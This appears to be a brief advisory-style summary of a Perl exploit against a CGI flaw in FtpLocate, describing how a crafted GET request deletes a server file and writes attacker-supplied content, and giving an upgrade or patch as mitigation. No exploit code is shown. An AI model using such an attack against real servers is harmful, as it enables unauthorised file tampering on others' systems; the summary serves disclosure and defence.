Alot of code for a cgi | vuln.

This exploit allows a remote attacker to upload a file to the vulnerable server. The exploit works by sending a GET request to the vulnerable server with a malicious payload. The payload contains a command to remove a file from the server and then echo the contents of the local file to the remote file. The exploit is written in Perl and requires the IO::Socket::INET module to be installed on the attacker's machine.

Mitigation:

Upgrade to the latest version of FtpLocate, or apply the patch provided by the vendor.
